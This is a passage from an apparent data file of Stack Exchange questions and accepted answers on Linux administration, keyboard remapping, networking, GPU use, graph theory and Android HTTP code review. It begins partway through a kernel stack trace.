[<ffffffff811ac9b5>] __kmalloc+0x55/0x230[   16.434586]  [<ffffffff814b61c8>] ? hid_alloc_report_buf+0x28/0x30[   16.434591]  [<ffffffff814b61c8>] hid_alloc_report_buf+0x28/0x30[   16.434600]  [<ffffffffa009e454>] logi_dj_ll_input_event+0xb4/0x1c0 [hid_logitech_dj][   16.434608]  [<ffffffff8146a24e>] input_handle_event+0x8e/0x520[   16.434613]  [<ffffffff8146a7e4>] input_inject_event+0x94/0xb0[   16.434620]  [<ffffffff8139c260>] ? kd_nosound+0x30/0x30[   16.434625]  [<ffffffff8139c2b2>] kbd_update_leds_helper+0x52/0x80[   16.434631]  [<ffffffff81467256>] input_handler_for_each_handle+0x66/0xa0[   16.434635]  [<ffffffff8139c889>] kbd_bh+0x89/0xb0[   16.434642]  [<ffffffff81077a3d>] tasklet_action+0x7d/0x140[   16.434647]  [<ffffffff81077bf7>] __do_softirq+0xf7/0x290[   16.434654]  [<ffffffff8161635c>] call_softirq+0x1c/0x30[   16.434663]  [<ffffffff81015de5>] do_softirq+0x55/0x90[   16.434667]  [<ffffffff81077f95>] irq_exit+0x115/0x120[   16.434671]  [<ffffffff81616ef8>] do_IRQ+0x58/0xf0[   16.434676]  [<ffffffff8160c0ed>] common_interrupt+0x6d/0x6d[   16.434686]  <EOI>  [<ffffffff8133d707>] ? acpi_os_execute_deferred+0x1d/0x20[   16.434693]  [<ffffffff814aa6e2>] ? cpuidle_enter_state+0x52/0xc0[   16.434698]  [<ffffffff814aa815>] cpuidle_idle_call+0xc5/0x200[   16.434704]  [<ffffffff8101d21e>] arch_cpu_idle+0xe/0x30[   16.434710]  [<ffffffff810c6955>] cpu_startup_entry+0xf5/0x290[   16.434716]  [<ffffffff815f2fb7>] rest_init+0x77/0x80[   16.434723]  [<ffffffff81a45057>] start_kernel+0x429/0x44a[   16.434728]  [<ffffffff81a44a37>] ? repair_env_string+0x5c/0x5c[   16.434733]  [<ffffffff81a44120>] ? early_idt_handlers+0x120/0x120[   16.434738]  [<ffffffff81a445ee>] x86_64_start_reservations+0x2a/0x2c[   16.434743]  [<ffffffff81a44742>] x86_64_start_kernel+0x152/0x175Not sure this is the cause or not.What else should I look at?edit:  also found this in journalctl, not sure this is relevant Jun 08 05:12:44 localhost kernel: firewire_ohci 0000:0c:00.0: register access failureJun 08 05:12:44 localhost kernel: firewire_ohci 0000:0c:00.0: added OHCI v1.10 device as card 0, 8 IR + 8 IT contexts, quirks 0x10Jun...Jun 08 05:12:42 localhost kernel: acpi PNP0A08:00: _OSC failed (AE_ERROR); disabling ASPM"  , "title": "fresh centos 7.1 install continually boots into emergency mode"  , "tags": "centos;boot"  } 
{  "id": "_unix.108897"  , "question": "I have a windows 8.1 on which I installed Ubuntu 12.04 (dual OS). Now I also want to install Arch Linux alongside windows and ubuntu. Please tell me the how to do this on Ubuntu. I have a gparted Partion Editor. Also I installed the Arch linux which took me 24 minutes. But uploading it is taking forever. Am I on the right track? Please explain what to do next."  , "title": "Install Arch Linux alongside Ubuntu 12.04"  , "tags": "linux;ubuntu;arch linux"  , "accepted_answer": "If Arch is installed at this point and you don't see it, then you only need to add a grub entry for Arch so that Grub would redirect you to the OS.If it is not installed, then you should follow the Arch installation guide up to the point of configuring GRUB and then you could check the GRUB page on the ArchWiki especially the dual booting section:https://wiki.archlinux.org/index.php/GRUB#Dual-booting"  } 
{  "id": "_computergraphics.98"  , "question": "I'm looking to use my GPU for non-graphical calculations (artificial life simulations) but ideally I would like to leave this running for weeks at a time, 24 hours a day.Is there anything I should take into account before trying this? Is a GPU subject to overheating or shortening of its lifespan by continuous use?What about the computer in general (it's a laptop in my case, but I'm interested in the differences in case it's worth me getting a desktop computer for this)? Will running the GPU non-stop place any strain on connected parts of the computer? Are there known problems that result from this?"  , "title": "Is long term continuous use of GPGPU safe for my GPU?"  , "tags": "gpu"  , "accepted_answer": "Running a GPU at full capacity will reduce its lifespan through electromigration; the speed at which the chips are damaged depends on how hot it is.A desktop computer has enough room that the designer can put in a cooling system to handle the worst-case thermal situation.  Running your GPU at continuous full load won't overheat it too badly, and you can expect it to last several years.A laptop, on the other hand, is strongly space-constrained.  Typically, the cooling system is designed to handle brief bursts of heat interspersed with long periods of near-idle operation.  You may not be able to run it at full load 24/7: the BIOS or operating system will slow things down to keep from overheating.  In any case, running at full capacity will likely cause things to burn out in a year or less."  } 
{  "id": "_unix.36282"  , "question": "When I program I like to swap these keys:Esc TabCtrl CapsLockIn ~/.xmodmap, I have specified these re-mappings:keycode 66 = Control_Lkeycode 37 = Caps_Lockkeycode 23 = Escapekeycode 9 = TabThe Escape and Tab keys swaps, no problem, but instead of Caps_Lock and Control_L swapping, both those keys becomes Caps_Lock.Whatever I try to do, the Control keys doesn't get assigned to Caps_Lock (keycode 66). If I leave the keycode 66 =, the key is un-assigned, but when I assign Control_L or Control_R, it just doesn't work. But, if I assign some other key, for example, keycode 66 = Tab, it gets assigned, no problem.Its like xmodmap just doesn't want Caps Lock and Control keys to be swapped. Really frustrating. Any help/pointers would be really helpful.P.S: I am using Archlinux."  , "title": "Remapping Caps Lock with xmodmap doesn't work"  , "tags": "keyboard;xmodmap"  , "accepted_answer": "The xmodmap(1) man page has an example for exactly this   !   ! Swap Caps_Lock and Control_L   !   remove Lock = Caps_Lock   remove Control = Control_L   keysym Control_L = Caps_Lock   keysym Caps_Lock = Control_L   add Lock = Caps_Lock   add Control = Control_Lbut if you want to finish doing it the way you started, I think you need to add at least the remove and add lines   remove Lock = Caps_Lock   remove Control = Control_L   keycode 37 = Caps_Lock   keycode 66 = Control_L   add Lock = Caps_Lock   add Control = Control_LI'm guessing that's the case based on this paragraph   add MODIFIERNAME = KEYSYMNAME ...           This adds all keys containing the given keysyms  to  the  indi           cated  modifier  map.  The keysym names are evaluated after all           input expressions are read to make it easy to write expressions           to swap keys (see the EXAMPLES section).which makes it sound like modifier changes (shift, control, etc.) don't get applied until you run that too.(And logically the same with remove)"  } 
{  "id": "_webmaster.29170"  , "question": "I am an IB(International Baccalaureate) student, and for preparing for my ITGS(Information Technologies in Global Societies) exam, and I would like to ask few questions to people who has worked with web-based booking systems.Here are the questions;*Could you please describe the booking system you are using ?*If so, how did you build your interactive booking system ?(Java, Flash, Javascript)*If you are using Flash for your interactive booking system, how did you manage the problem with smart phones and tablet devices that doesnt support flash? *What can you say when you compare the cost of building your booking system and the other alternatives ?*What difficulties you went through when you made your system ?*What are the advantages of using such a system ? Why did you prefer to do so ?*ls your system multilingual ? If not, why ?*If so, what are the difficulties of having a multi-lingual web-site? How did you solve these problems ?These are the questions I sent to some companies, who never replied back, so you may find them a little bit weirdAny help will doThanks"  , "title": "web based booking systems"  , "tags": "web services"  } 
{  "id": "_softwareengineering.131055"  , "question": "I'm about to write a simple script to test a dataset for certain conditions. I was designing it as a set of functions each one describing the condition to be tested and pass them to the test engine:# The tester engine:all(f(dataset) for f in conditions)I realized that my approach was similar to unit testing. So, to avoid repeating myself, I am thinking of using my favorite unit testing framework instead.What do you think about that idea?Have any of you used an unit test framework for any other purpose than test code?"  , "title": "Is it a good idea to use an unit test framework for another purpose than test code?"  , "tags": "unit testing"  } 
{  "id": "_unix.26461"  , "question": "Maybe it's a bit strange - and maybe there are other tools to do this but, well..I am using the following classic bash command to find all files which contain some string:find . -type f | xargs grep somethingI have a great number of files, on multiple depths. first occurrence of something is enough for me, but find continues searching, and takes a long time to complete the rest of the files. What I would like to do is something like a feedback from grep back to find so that find could stop searching for more files. Is such a thing possible?"  , "title": "bash find xargs grep only single occurence"  , "tags": "bash;find;grep;xargs"  , "accepted_answer": "Simply keep it within the realm of find:find . -type f -exec grep something {} \\; -quitThis is how it works:The -exec will work when the -type f will be true. And because grep returns 0 (success/true) when the -exec grep something has a match, the -quit will be triggered."  } 
{  "id": "_unix.366703"  , "question": "ubuntu 16.04, dnsmasq 2.75NOTE: I have dnsmasq running with --hostsdir option so dnsmasq should pick up host entries written to that directory.Steps to reproduce:... fresh machine boot ...$> echo 'MY-IP test.domain.com' > $DNSMASQ_HOSTS_DIR/test$> sudo ip netns add test$> sudo ip link add veth-test type veth peer name test-eth0$> sudo ip link set test-eth0 netns test$> sudo ip addr add 10.0.4.1/24 dev veth-test$> sudo ip link set veth-test up$> sudo ip netns exec test ip addr add 10.0.4.2/24 dev test-eth0$> sudo ip netns exec test ip link set test-eth0 up$> sudo ip netns exec test ip link set lo up$> sudo ip netns exec test ip route add default via 10.0.4.1$> sudo ip route add 10.0.4.2/32 via default dev veth-test$> sudo mkdir -p /etc/netns/test$> sudo bash -c cat > /etc/netns/test/resolv.conf << EOL    nameserver MY_IP    EOL$> sudo ip netns exec test bashtest-ns$> host test.domain.com    ;; connection timed out; no servers could be reachedSo, I've created the network namespace but cannot access my dns server. The following 2 steps fix the problem and result in my confusion.... return to the default global namespace ...$> sudo service dnsmasq restart$> sudo ip netns exec test bashtest-ns~# host test.domain.com    test.domain.com has address MY_IP    ... WORKS! WHAT?!To my understanding, restarting dnsmasq should not have an effect on the networking of my network namespace. Before the restart I cannot reach the dns server, after the restart (and a new instance of the network namespace shell) I am able to access and get answers from dnsmasq. I cannot understand why dns is not working without the dnsmasq restart, and why it does work afterwards (although I have a feeling they are related :=]).Any help would be greatly appreciated. "  , "title": "dnsmasq not available from network namespace at first"  , "tags": "ubuntu;dnsmasq;network namespaces"  } 
{  "id": "_unix.346073"  , "question": "There are some unstable/risky ways such as the thread How to Get A with Dots in Dvorak of Ubuntu 16.04? to get the feature but I cannot run it in many environments. Germans need their owns (a/e/u/o with dots) as shown here, while nordic (Finland, Sweden, Norway, Denmark, ...) people need similar keys  (a/o with dots). I think one-level keyboard approach is better than two-level keyboard approach. OptionsTo get such a keyboard layout by default in Debian would be great. To get a package in apt for such a keyboard would be good.Maybe an other way ...Doing those changes manually like in the first thread is not an option because of the risks in different environments.OS X International Dvorak has such a feature by default, which can be used as a benchmark, but also the manual approach as done in the first thread answer. There is a ticket open in Chromium development for such a feature in the thread International Dvorak with Deadkeys targeted in Chromebook.Testing clearkimura's answer in DebianOutputmasi@masi:~/Downloads$ sudo cp dvorak_intl /usr/share/X11/xkb/symbols/dvorak_intlmasi@masi:~/Downloads$ setxkbmap -verbose dvorak_intlmasi@masi:~/Downloads$ setxkbmap -I ~/.xkb dvorak_intl -print | xkbcomp -I$HOME/.xkb - $DISPLAYWarning:          Type ONE_LEVEL has 1 levels, but <RALT> has 2 symbols              Ignoring extra symbolsWarning:          Key <OUTP> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <KITG> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <KIDN> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <KIUP> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <RO> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <I192> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <I193> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <I194> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <I195> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <I196> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          Key <I255> not found in evdev+aliases(qwerty) keycodes              Symbols ignoredWarning:          No symbols defined for <AB11> (keycode 97)Warning:          No symbols defined for <JPCM> (keycode 103)Warning:          No symbols defined for <I120> (keycode 120)Warning:          No symbols defined for <AE13> (keycode 132)Warning:          No symbols defined for <I149> (keycode 149)Warning:          No symbols defined for <I154> (keycode 154)Warning:          No symbols defined for <I168> (keycode 168)Warning:          No symbols defined for <I178> (keycode 178)Warning:          No symbols defined for <I183> (keycode 183)Warning:          No symbols defined for <I184> (keycode 184)Warning:          No symbols defined for <FK19> (keycode 197)Warning:          No symbols defined for <FK24> (keycode 202)Warning:          No symbols defined for <I217> (keycode 217)Warning:          No symbols defined for <I219> (keycode 219)Warning:          No symbols defined for <I221> (keycode 221)Warning:          No symbols defined for <I222> (keycode 222)Warning:          No symbols defined for <I230> (keycode 230)Warning:          No symbols defined for <I247> (keycode 247)Warning:          No symbols defined for <I248> (keycode 248)Warning:          No symbols defined for <I249> (keycode 249)Warning:          No symbols defined for <I250> (keycode 250)Warning:          No symbols defined for <I251> (keycode 251)Warning:          No symbols defined for <I252> (keycode 252)Warning:          No symbols defined for <I253> (keycode 253)RestartOutput: the keyboard layout is not active anymoreGo to Region & Language > choose > search Dvorak > Choose Dvorak with dead keys in Fig. 1Output: the expected keyboard layout now active and selectable in the top barIn Regien & Language, put your primary keyboard layout at the top in Fig. 2 i.e. remove your previous keyboard layouts at the top. This way, you can put Dvorak international with dead keys as your primary keyboard which stays there also after restart. Fig. 1 Region & Language settings after the change, Fig. 2 Region & Language settings when Dvorak international with dead keys as the primary keyboard layoutOS: Debian 8.7Hardware: Asus Zenbook UX303UB, HP 2002 laptopWindow manager: Gnome 3.14    "  , "title": "How to get stable International Dvorak with first-level deadkeys in Debian?"  , "tags": "debian;keyboard layout;x server;dvorak"  } 
{  "id": "_cogsci.271"  , "question": "Whenever I start a new research project, I typically have to find questions and scales that have proven validity in measuring constructs of interest (e.g., psychological / political science / social science scales). This can often be quite time consuming, and often there are issues of cost and copyright to consider.QuestionsWhat are general tips for efficiently and cost effectively locating measures for a given construct?Are there any databases that make it easy to locate such measures?Is there anything like a StackOverflow/PatternLibrary/Best Practices compendium of measures or advice on locating measures?"  , "title": "How to efficiently locate existing psychology and social science measures?"  , "tags": "measurement;reproducible research;test;reference request"  } 
{  "id": "_unix.336431"  , "question": "I'm a web developer and I know a lot about servers and scripting languages, but I don't know much about Bash and Linux(in comparison).It's my understanding that it is possible to allow login to a computer when a user attaches a usb key. I was unfortunately not able to make this work on my machine, and I began to wonder if it would still be possible for someone to bypass my password(based on this article)I have some very lucrative programs that I want to keep away from prying eyes and I want to know if there is any way to somehow perform a DDoS attack on my machine if a specific usb is not inserted. I don't want the user to be able to do anything at all on my laptop. If anyone has some suggestions. I would be greatly appreciative."  , "title": "USB encryption login Ubuntu Elementary OS Freya"  , "tags": "security;usb drive;elementary os;screen lock;disk encryption"  } 
{  "id": "_cogsci.13194"  , "question": "Does the neural activity that correlates with motor skill function tend to be focused near or far from the outer surface of the brain, or both? And what about perception?My deeper curiosity being: I'd conjecture that the first is either near the surface or both, given the ability of technology now to read input directly from the brain in order to move virtual objects."  , "title": "Where is motor skill function located within the brain?"  , "tags": "perception;neuroanatomy;motor;brain computer interface"  } 
{  "id": "_cstheory.27481"  , "question": "For the purposes of this question, a cut in a graph $G$ is the edge-set $\\delta (S)\\subseteq E(G)$ between some vertex-set $S$ and its complement. A max cut is one with at least as many edges as any other cut. Finding a max cut is NP-hard, but a greedy algorithm (e.g.) can approximate a max cut, finding a cut with at least half as many edges as possible.Equivalently, a cut $\\delta (S)\\subseteq E(G)$ is a max cut if and only if$$| \\delta (S)\\cap \\delta (T) |\\geq \\frac{1}{2}|\\delta (T)|  \\qquad \\forall\\text{ cuts } \\delta (T)\\subseteq E(G).$$(Sidenote: It should be clear that the standard definition implies this one. To show that these inequalities imply $\\delta (S)$ is at least as big as any other cut $\\delta (S')$, observe that $$|\\delta (S)| - |\\delta (S')| = |\\delta (S) \\cap \\delta (S\\Delta S')| - |\\delta (S') \\cap \\delta (S\\Delta S')|.$$ Because the two edge-sets appearing in the right-hand side partition the edges of the cut $\\delta (S\\Delta S')$, applying the above inequality with $S\\Delta S'$ in the role of $T$ gives $|\\delta (S)|-|\\delta (S')|\\geq 0$.)I'd like to know whether max cuts can be easily approximated in the sense of my second definition. Specifically:Question: Is there a polynomial-time algorithm to find a cut $\\delta (S)\\subseteq E(G)$ with $$| \\delta (S)\\cap \\delta (T) |\\geq \\epsilon |\\delta (T)| \\qquad \\forall\\text{ cuts } \\delta (T)\\subseteq E(G)$$ for some $\\epsilon > 0$?"  , "title": "Approximating a max-cut's intersection with other cuts"  , "tags": "graph theory;co.combinatorics;approximation algorithms;max cut"  } 
{  "id": "_unix.353956"  , "question": "I have a FreeBSD 9.3 installation inside the 192.168.2.x LAN2 which is connected to the 192.168.1.x LAN1 (router WAN IP is 192.168.1.10).This BSD runs SSH and FTP services. I can use both services from any LAN2 computer. But I am unable to connect from LAN1.I don't think the problem is in router settings because I have HTTP and FTP servers on another LAN2 machines, and all of them are accessible from LAN1 computers without problems.All needed ports are forwarded in the router. I can connect to another LAN2 servers using 192.168.1.10:port (even from LAN2).I saw several threads describing similar problems (usually with SSH server) and tried all solutions I could find, but none of them worked for me.These are relevant lines from /etc/rc.conf:ifconfig_em0=inet 192.168.2.8 netmask 255.255.255.0defaultrouter=192.168.2.1sshd_enable=YESftpd_enable=YESftpd_flags=-D -lUpdateWhen I run Putty SSH to 192.168.1.10:20022 (forwarded to 192.168.2.8:22) from LAN1 pc, it shows Network error: Connection timed out message. FTP connection from Total Commander shows : Connect call failed!. Doing the same thing from LAN2 shows FTP home directory and BSD login prompt.Command-line FTP from LAN1 to 192.168.1.10:20021 shows  ftp: connect: unknown error number. Doing the same thing for accessible FTP (another port) shows : 220 messages (welcome and auth). I can telnet other FTP and HTTP.cat /var/log/auth.log | grep sshd  shows basically two kind of messages:Server listening on 0.0.0.0 port 22 / :: port 22Accepted / closed connection from 192.168.2.6 (another LAN2 pc)LAN1 addresses are not mentioned by sshd.This is what I get while connected by SSH from another LAN2 pc:root@bsdpc:/ # ifconfigem0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500        options=9b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM>        ether 08:00:27:11:97:cf        inet 192.168.2.8 netmask 0xffffff00 broadcast 192.168.2.255        inet6 fe80::a00:27ff:fe11:97cf%em0 prefixlen 64 scopeid 0x1        nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>        media: Ethernet autoselect (1000baseT <full-duplex>)        status: activelo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384        options=600003<RXCSUM,TXCSUM,RXCSUM_IPV6,TXCSUM_IPV6>        inet6 ::1 prefixlen 128        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3        inet 127.0.0.1 netmask 0xff000000        nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>root@bsdpc:/ # sockstatUSER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESSlpvoid   sshd       1398  3  tcp4   192.168.2.8:22        192.168.2.6:1186lpvoid   sshd       1398  4  stream -> ??root     sshd       1395  3  tcp4   192.168.2.8:22        192.168.2.6:1186root     sshd       1395  5  stream -> ??root     ftpd       567   3  dgram  -> /var/run/logprivroot     ftpd       567   5  tcp6   *:21                  *:*root     ftpd       567   6  tcp4   *:21                  *:*smmsp    sendmail   537   3  dgram  -> /var/run/logroot     sendmail   534   3  tcp4   127.0.0.1:25          *:*root     sendmail   534   4  dgram  -> /var/run/logprivroot     sshd       531   3  tcp6   *:22                  *:*root     sshd       531   4  tcp4   *:22                  *:*root     syslogd    400   4  dgram  /var/run/logroot     syslogd    400   5  dgram  /var/run/logprivroot     syslogd    400   6  udp6   *:514                 *:*root     syslogd    400   7  udp4   *:514                 *:*root     devd       310   4  stream /var/run/devd.pipe"  , "title": "Cannot connect to FreeBSD server behind a router"  , "tags": "freebsd;port forwarding;internet;connectivity"  } 
{  "id": "_cstheory.6684"  , "question": "From time to time, I have to read a paper with unclear typesetting. By this, I mean:very small fonts; sometimes 8pt or smaller.very bad scan;Using bitmap fonts instead of vector ones.too old formatting (usually dating back to 1970s or the beginning of 1980s.)In these cases, one might prefer to read a more clear version submitted to the authors' home page. Unfortunately, the author version is not always available; and even in that case, they might be very lengthy (the so-called full version of the paper).In the case of bitmap fonts, I found a good strategy: Find the postscript (PS) version of the paper, and convert the bitmap fonts to their vector counterparts using pkfix or a combination of pkfix-helper + pkfix, whichever applies (read the documentation).However, I still can't find a workaround for other problems. Specially, small-font papers bother me a lot. My best bet is to use a desk lamp: I don't know why, but magically the words seem  larger under its light!How do you read a paper whose typesetting is unclear? Specially, what do you do when the font is too small to read?PS: Some months ago, I found an application which splited a PDF into several segments, so that they were easy to read on an iPhone or the like. (Sorry, I don't recall the name of that app.) However, the output was downgraded to fit the iPhone small screen, and therefore it wasn't apt for computer screen or printer."  , "title": "Reading Papers with Unclear Typesetting"  , "tags": "soft question;advice request"  } 
{  "id": "_codereview.53768"  , "question": "I have developed a generic HTTP functionality using Android Asynctask and Apache HTTP client. Please review the code and let me know if it is the right way of doing or there are other ways to achieve it.Async classpublic class HTTPAsyncTask extends AsyncTask<String, Void, String> {    private CallBack mCb;    HashMap<String, String> mData = null;    List<NameValuePair> mParams= new ArrayList<NameValuePair>();    String mTypeOfRequest;    String mStrToBeAppended = ;    boolean isPostDataInJSONFormat = false;    JSONObject mJSONPostData = null;    public HTTPAsyncTask(CallBack c, HashMap<String, String> data, JSONObject jsonObj, String request) {        mCb = c;        mTypeOfRequest = request;        mJSONPostData = jsonObj;        if((data != null) && (jsonObj == null)){            mData = data;            if(mTypeOfRequest.equalsIgnoreCase(GET)){                Iterator<String> it = mData.keySet().iterator();                while(it.hasNext()){                    String key = it.next();                    mParams.add(new BasicNameValuePair(key, mData.get(key)));                }                for (int i = 0; i<mParams.size()-1; i++){                    mStrToBeAppended+= ? + mParams.get(i).getName() + = + mParams.get(i).getValue() + &;                 }                //add the last parameter without the &                mStrToBeAppended+= ? + mParams.get(mParams.size()-1).getName() + = + mParams.get(mParams.size()-1).getValue();            }            if(mTypeOfRequest.equalsIgnoreCase(POST)){                    Iterator<String> it = mData.keySet().iterator();                    while(it.hasNext()){                        String key = it.next();                        mParams.add(new BasicNameValuePair(key, mData.get(key)));                    }            }        }        if ((mData == null) && (jsonObj != null)){            isPostDataInJSONFormat = true;        }    }    @Override    protected String doInBackground(String... baseUrls) {        publishProgress(null);        if(mTypeOfRequest.equalsIgnoreCase(GET)){            String finalURL = baseUrls[0]+ mStrToBeAppended;             return HttpUtility.GET(finalURL);        }        if (mTypeOfRequest.equalsIgnoreCase(POST)){            if(isPostDataInJSONFormat == false){                return HttpUtility.POST(baseUrls[0],mParams );            }            else {                return HttpUtility.POST(baseUrls[0], mJSONPostData);            }        }        return null;    }    // onPostExecute displays the results of the AsyncTask.    @Override    protected void onPostExecute(String result) {       mCb.onResult(result);   }    @Override    protected void onProgressUpdate(Void...voids ) {        mCb.onProgress();   }}HTTPUtility Classpublic class HttpUtility {    public static String GET(String url){        InputStream inputStream = null;        String result = ;        try {            // create HttpClient            HttpClient httpclient = new DefaultHttpClient();            // make GET request to the given URL            HttpResponse httpResponse = httpclient.execute(new HttpGet(url));            // receive response as inputStream            inputStream = httpResponse.getEntity().getContent();            // convert inputstream to string            if(inputStream != null){                result = convertInputStreamToString(inputStream);                //inputStream.close();            }            else                result = Did not work!;        } catch (Exception e) {            Log.d(InputStream, e.getLocalizedMessage());        }        return result;    }    public static String POST(String url, List<NameValuePair> mParams){        InputStream inputStream = null;        String result = ;        try{            HttpClient httpclient = new DefaultHttpClient();            HttpPost post = new HttpPost(url);            post.setEntity(new UrlEncodedFormEntity(mParams, UTF-8));            HttpResponse httpResponse = httpclient.execute(post);         // receive response as inputStream            inputStream = httpResponse.getEntity().getContent();            // convert inputstream to string            if(inputStream != null){                result = convertInputStreamToString(inputStream);                //inputStream.close();            }            else                result = Did not work!;        } catch (Exception e) {            Log.d(InputStream, e.getLocalizedMessage());        }        return result;    }    public static String POST(String url, JSONObject obj){        InputStream inputStream = null;        String result = ;        HttpClient httpclient = new DefaultHttpClient();        try{            HttpPost post = new HttpPost(url);            post.setHeader(Content-type, application/json);            StringEntity se = new StringEntity(obj.toString());             se.setContentEncoding(new BasicHeader(HTTP.CONTENT_TYPE, application/json));            post.setEntity(se);            HttpResponse httpResponse = httpclient.execute(post);            // receive response as inputStream            inputStream = httpResponse.getEntity().getContent();            // convert inputstream to string            if(inputStream != null){                result = convertInputStreamToString(inputStream);            }            else                result = Did not work!;        } catch (Exception e) {            Log.d(InputStream, e.getLocalizedMessage());        }        return result;    }    public static String convertInputStreamToString(InputStream inputStream) throws IOException{        BufferedReader bufferedReader = new BufferedReader( new InputStreamReader(inputStream));        String line = ;        String result = ;        while((line = bufferedReader.readLine()) != null)            result += line;        inputStream.close();        return result;    }}Callback interfacepublic interface CallBack {    public void onProgress();    public void onResult(String result);    public void onCancel();}Main activity classInside the activity class final CallBack c = new CallBack(){    @Override    public void onProgress() {        // TODO Auto-generated method stub        mProgressDialog.show();    }    @Override    public void onResult(String result) {        // TODO Auto-generated method stub        mProgressDialog.dismiss();        mStrResult = result;        Toast.makeText(getApplicationContext(), mStrResult, Toast.LENGTH_SHORT).show();    }    @Override    public void onCancel() {        // TODO Auto-generated method stub    }};And then the Asynctask is called inside the Activity like the following://For JSON PostdataString url= Your URLJSONObject postData = new JSONObject();postData.put(Key1, Data1);postData.put(Key2, Data2);HTTPAsyncTask asyncTask = new AsyncTask(mContext,mCallback, null, postData, POST);asyncTask.execute(url);//For Get dataString url = Your URL;HashMap getData = new HashMap<Object, Object>();getData.put(Key,Data);getData.put(Key,Data));mGetGCMMessageAsyncTask = new HTTPAsyncTask(mContext, mCallback, getData, null, GET);mGetGCMMessageAsyncTask.execute(url);"  , "title": "Generic HTTP using Android Asynctask"  , "tags": "java;android;asynchronous;http"  , "accepted_answer": "I'll go over quickly with the minors generals things : You should remove TODO Auto-generated method stub when you implemented the method.You should always put a modifier for your class variable.Don't use the implementation of a class, use the interface Map instead of HashMapI don't like the mVariableName notation. (this is subjective)An HTTP Get and Post are very two different things, don't try to mix them up in the same method. It feels to me like you're HTTPAsyncTask should be separated with one abstract class that encapsulate the common code and two implementation with HTTPAsyncTaskGet and HTTPAsyncTaskPost. This would remove one argument to the constructor, better represent the differences between get/post and would help remove duplicate code. You will need to modifiy the implementation of doInBackground but this should simple and will help this method shine with simplicty by removing the if(mTypeOfRequest.equalsIgnoreCase(POST)) conditions. This would be your basic constructor :public HTTPAsyncTask(CallBack c, HashMap<String, String> data, JSONObject jsonObj) {    mCb = c;    mTypeOfRequest = request;    mJSONPostData = jsonObj;    mData = data;    if ((mData == null) && (jsonObj != null)){        isPostDataInJSONFormat = true;    }}And with your other class you would have : public HTTPAsyncTaskGet(CallBack c, HashMap<String, String> data, JSONObject jsonObj) {   super(c,data,jsonObj);    if((data != null) && (jsonObj == null)){        Iterator<String> it = mData.keySet().iterator();        while(it.hasNext()){            String key = it.next();            mParams.add(new BasicNameValuePair(key, mData.get(key)));        }        for (int i = 0; i<mParams.size()-1; i++){            mStrToBeAppended+= ? + mParams.get(i).getName() + = + mParams.get(i).getValue() + &;         }        //add the last parameter without the &        mStrToBeAppended+= ? + mParams.get(mParams.size()-1).getName() + = + mParams.get(mParams.size()-1).getValue();        }    }}The high number of arguments for a method is something that must point you to something smelly. It's hard to have high readability when you have a tons of arguments. There is one case where you need data != null and one case jsonObj != null. You should then redefines your constructor to take one or the other, not both. Yes you will probably have more line of codes, but it will be readable. Every constructor will look unique and will have less complexity if you remove those if. Exemple :public HTTPAsyncTaskGet(CallBack c, JSONObject jsonObj) {   super(c,null,jsonObj);}You should not recreate a new DefaultHttpClient(); for every request. You should always try to use the same client. This will help for performance concern and will reduce the complexity of encountering bugs for various reasons (too much connections open, etc).     try{        HttpClient httpclient = new DefaultHttpClient();        HttpPost post = new HttpPost(url);        post.setEntity(new UrlEncodedFormEntity(mParams, UTF-8));        HttpResponse httpResponse = httpclient.execute(post);     // receive response as inputStream        inputStream = httpResponse.getEntity().getContent();        // convert inputstream to string        if(inputStream != null){            result = convertInputStreamToString(inputStream);            //inputStream.close();        }        else            result = Did not work!;   } catch (Exception e) {       Log.d(InputStream, e.getLocalizedMessage());   }This is very prone to errors. You need to always consume the content of the entity, even in case of failure, or your connection won't close and you'll run into problems. Always make sure that you consume your entity. You can use EntityUtils.consume(HttpEntity). "  } 
{  "id": "_unix.265927"  , "question": "I'm making a php panel from which you can install apps like owncloud & plex on your server. I've created multiple bash scripts that install and remove software. I tested all of them from shell, everything works as it should. However, when I run the scripts from php as root using sudo on ubuntu 15.10, apt-get & dpkg are not working as they should.In visudo I have:seedbox ALL = (root) NOPASSWD: /bin/appinstallerappinstaller is a bash script that run the install/uninstall apps bash scripts (e.g. appinstaller plex)Plex script example:dpkg --configure -acd /tmpwget https://downloads.plex.tv/plex-media-server/0.9.15.6.1714-7be11e1/plexmediaserver_0.9.15.6.1714-7be11e1_amd64.debdpkg -i plexmediaserver_0.9.15.6.1714-7be11e1_amd64.debWhen I run appinstaller directly from bash everything works perfectly.When I run appinstaller from php using (confirmed that script is running as root):exec(sudo /bin/appinstaller plex > /home/installer.log 2>&1 &);It works but I get apt & dpkg errors when I try to install other apps such as:E: The package plexmediaserver needs to be reinstalled, but I can't find an archive for it. (even though it's installed and working)And also dpkg --configure -a returns an error.Plex is working fine, but seems like apt doesn't finish the installation process and gets stuck somewhere, also commands running after the apt-get install/dpkg won't run from php but will run from bash. I tried to run the script also from cron & systemctl and I get the same issue.It's worth noting that some apps are installing/uninstalling without any issues.What could be making the difference between running the script from php/cron/systemctl or from shell directly? Can I emulate normal bash session?"  , "title": "Issue with bash script running from php as root"  , "tags": "bash;shell script;apt;dpkg"  } 
